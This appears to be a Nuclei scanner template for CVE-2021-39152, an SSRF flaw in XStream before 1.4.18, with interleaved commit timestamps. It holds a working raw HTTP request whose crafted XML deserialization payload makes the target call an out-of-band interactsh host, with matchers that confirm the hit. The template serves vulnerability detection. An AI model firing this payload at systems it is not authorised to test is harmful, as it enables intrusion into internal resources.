2023-03-12 03:38:05 +00:00
id : CVE-2021-39152
info :
2023-04-13 14:56:36 +00:00
name : XStream <1.4.18 - Server-Side Request Forgery
2023-03-12 03:38:05 +00:00
author : pwnhxl
severity : high
2023-03-23 11:21:46 +00:00
description : |
2023-04-13 14:56:36 +00:00
XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
2023-03-12 03:38:05 +00:00
reference :
- https://x-stream.github.io/CVE-2021-39152.html
2023-03-29 20:18:04 +00:00
- https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
- https://security.netapp.com/advisory/ntap-20210923-0003/
2023-04-13 14:56:36 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2021-39152
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
2023-03-29 20:18:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 8.5
cve-id : CVE-2021-39152
2023-07-11 19:49:27 +00:00
cwe-id : CWE-502
2023-11-16 10:31:49 +00:00
epss-score : 0.01242
2023-12-12 11:07:52 +00:00
epss-percentile : 0.83894
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : xstream_project
product : xstream
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,xstream,ssrf,oast,xstream_project
2023-03-12 03:38:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-12 03:38:05 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "http"
2023-03-22 10:05:48 +00:00
- type : word
part : interactsh_request
words :
2023-03-29 18:40:01 +00:00
- "User-Agent: Java"
2023-12-29 09:30:44 +00:00
# digest: 4b0a00483046022100f8e718dc238217b6e327cdae8c939b418dbd57a2b20363a5c912aebb9b4d9d19022100ea817b190b15c44f71106ac0e2ea267ca3ce43de2e7bbfbeff102b077ba9eed5:922c64590222798bb761d5b6d8e72950